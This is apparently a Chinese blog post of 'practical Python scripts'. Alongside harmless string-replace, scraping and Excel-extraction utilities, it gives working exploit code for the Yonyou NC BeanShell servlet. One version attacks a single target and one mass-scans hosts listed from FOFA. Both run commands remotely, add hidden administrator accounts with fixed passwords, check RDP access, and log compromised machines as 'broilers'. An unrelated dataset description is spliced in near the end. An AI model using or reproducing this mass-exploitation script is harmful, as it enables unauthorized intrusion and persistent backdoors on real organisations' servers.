python实用脚本

这篇博客介绍了Python在实际应用中的几个实用脚本,包括如何进行字符串替换操作,爬取网页内的URL地址,以及针对用友系统的POC(Proof of Concept)利用,包括批量处理用友漏洞。此外,还讲解了从Excel文件中提取特定列数据的方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

python实用脚本

字符串替换

#!/usr/bin/python
# -*- coding:utf8 -*-

import os
import re

def replace(path, souceStr, destStr):
	#读取目录下所有文件
	files = os.listdir(path)
	#遍历这些文件
	for f in files:
		#如果文件名等于该脚本的名字 不执行
		if f == os.path.basename(__file__):
			continue
		#如果文件是一个目录 执行递归
		elif os.path.isdir(path + '/' + f):
			replace(path+ '/' + f, souceStr, destStr)
		#否则 是一个文件
		else:
			filePath = path+'/'+f
			f=open(filePath,'r')
			#读出该文件所有的行
			alllines=f.readlines()
			f.close()
			f=open(filePath,'w+')
			#对所有的行进行循环
			for eachline in alllines:
				#替换字符串
				a=re.sub(souceStr,destStr,eachline)
				f.writelines(a)
			f.close()

replace('./', "buf", input("please input destStr, rember to add ' at the beginning and end :"))

爬取网页内url地址

import requests
import time
from bs4 import BeautifulSoup

urls = input('请输入目标url:')
headers={
    'user-agent': 'Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Mobile Safari/537.36'
  }

url=urls
res=requests.get(url,headers=headers)
soup=BeautifulSoup(res.text,'html.parser')
items1=soup.select('div.addrLeft span.aSpan a')
for i in items1:
    link=i['href']
    time.sleep(3)
    print(link)

用友POC

用友漏洞POC

import requests
import socket

url = input("请输入目标地址:")
poc_url = url.replace('index.jsp','servlet/~ic/bsh.servlet.BshServlet')
poc_status = requests.get(poc_url).status_code
if poc_status == 200:
    print('页面访问正常')
else:
    print('页面访问错误')
    
data = {'bsh.script':'exec("whoami");'}
data_0 = {'bsh.script':'exec("net user warsec$ 123admiN@ /add");'}
data_1 = {'bsh.script':'exec("net localgroup administrators warsec$ /add");'}

result = requests.post(poc_url,data=data).text
if 'admin' in result:
    print('当前是管理员用户')
    result = requests.post(poc_url,data=data_0).text
    result_0 = requests.post(poc_url,data=data_1).text
    if '???' in result_0:
        print("留取后门成功")
    url_0 = url.split('/')
    ip = url_0[-2].partition(':')[0]
    s = socket.socket()
    result1 = s.connect((ip,3389))
    if result1 == None:
        print('可以远程连接')
else:
    print('当前不是管理员用户')

s = socket.socket()
result = s.connect((ip,3389))
print('链接用户为 warsec$  连接密码为 123admiN@ ')
print(result)

批量用友漏洞POC

import xlrd
import requests
from threading import Thread

readbook = xlrd.open_workbook(r'C:\Users\12479\Desktop\FOFA\title==YONYOU NC && country=CN2021-09-28 18-04-59.xls')
table = readbook.sheets()[0]
nrows = table.nrows
f = open("C:/Users/12479/Desktop/FOFA/Broiler.txt","a")
def zj():
    for i in range(nrows):
        if i == 0:
            continue
        url = table.row_values(i)[1:2]
        poc_url = url[0]+'/servlet/~ic/bsh.servlet.BshServlet'
        print(poc_url)
        try:
            poc_status = requests.get(poc_url,timeout=5).status_code
            if poc_status == 200:
                print("漏洞利用页面访问正常")
                print("当前测试的是第%d条链接" % (i))
                data = {'bsh.script': 'exec("whoami");'}
                data_0 = {'bsh.script': 'exec("net user FlNet123$ 54@Falao /add");'}
                data_1 = {'bsh.script': 'exec("net localgroup administrators FlNet123$ /add");'}
                try:
                    icode = requests.post(poc_url, data=data,timeout=3).status_code
                    if icode == 200:
                        print("whoami命令执行正常=====》开始创建远程链接后门")
                        result = requests.post(poc_url, data=data,timeout=7).text
                        if 'admin' in result:
                            print('whoami命令执行结果:当前是Administrator用户')
                            result = requests.post(poc_url, data=data_0,timeout=7).text
                            result_0 = requests.post(poc_url, data=data_1,timeout=7).text
                            if '????' in result_0:
                                url_0 = poc_url.split('/')
                                ip = url_0[-4].partition(':')[0]
                                print("成功创建隐藏后门######》%s" %(ip))
                                print("后门用户:FlNet123$   后门密码:54@Falao")
                                print("3389端口未知开启,请自行测试!!!")
                                f.write(poc_url+"\n")
                            else:
                                print("创建隐藏后门失败")
                        elif 'root' in result:
                            print('whoami命令执行结果:当前是root用户')
                        else:
                            print("whoami命令执行结果:当前不是Administrator用户也也不是root用户")
                    else:
                        print("whoami命令无法正常执行=====》开始测试下一个")
                except:
                    print("利用页面无相应")
            else:
                print("漏洞利用页面访问错误")
        except:
            print("warning....请求超时....")
thread_01 = Thread(target=zj())
thread_01.start()
f.close()

EXL某列提取

import xlrd

put = input("输入读取的文件:")
num = input("输入要读取第几列:")
lie = int(num)-1
wenjianming = input("请输入要生成的 txt 文件:")
def strs(row):
    values = "";
    for i in range(len(row)):
        if i == len(row) - 1:
            values = values + str(row[i])
        else:
            values = values + str(row[i])
    return values
# 打卡文件
data = xlrd.open_workbook(put)
sqlfile = open(wenjianming, "a")  # 文件读写方式是追加
table = data.sheets()[0]  # 表头
nrows = table.nrows  # 行数
ncols = table.ncols  # 列数
colnames = table.row_values(1)  # 某一行数据
# 打印出行数列数
for ronum in range(1, nrows):
        row = table.cell_value(rowx=ronum, colx = lie) #只需要修改你要读取的列数-1
        values = strs(row)  # 调用函数,将行数据拼接成字符串
        print(values)
        sqlfile.writelines(values + "\n")  # 将字符串写入新文件
sqlfile.close()  # 关闭写入的文件
背景描述 2016 年全球生态足迹 您所在国家消耗的资源是否超过一年产生的资源? 数据说明 上下文 生态足迹衡量的是特定人口生产其消耗的自然资源(包括植物性食品和纤维产品、牲畜和鱼产品、木材和其他林产品、城市基础设施的空间)和吸收其废物(尤其是碳排放)所需的生态资产。该足迹跟踪了六类生产性表面积的使用情况:农田、牧场、渔场、建成区(或城市)土地、森林面积和土地上的碳需求。 一个国家的生物承载力代表其生态资产的生产力,包括农田、牧场、林地、渔场和建筑用地。这些区域,尤其是如果不采伐,也可以吸收我们产生的大部分废物,尤其是我们的碳排放。 生态足迹和生物承载力都以全球公顷表示,即具有全球可比性的标准化公顷数与世界平均生产力。 如果一个种群的生态足迹超过该地区的生物承载力,则该区域就会出现生态赤字。它对其陆地和海洋所能提供的商品和服务的需求——水果和蔬菜、肉类、鱼类、木材、服装用棉花和二氧化碳吸收——超过了该地区生态系统可以更新的需求。生态赤字地区通过进口、变现自己的生态资产(如过度捕捞)和/或向大气中排放二氧化碳来满足需求。如果一个地区的生物承载力超过其生态足迹,它就拥有生态保护区。 确认 生态足迹测量是由不列颠哥伦比亚大学的 Mathis Wackernagel 和 William Rees 构思的。生态足迹数据由 Global Footprint Network 提供。 灵感 您的国家是否存在生态赤字,消耗的资源超过了每年的产量?哪些国家的生态赤字或保护区最大?他们的消费量是比普通国家少还是多?2017 年地球超载日,即日历上人类使用一年自然资源的日子,何时发生?
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值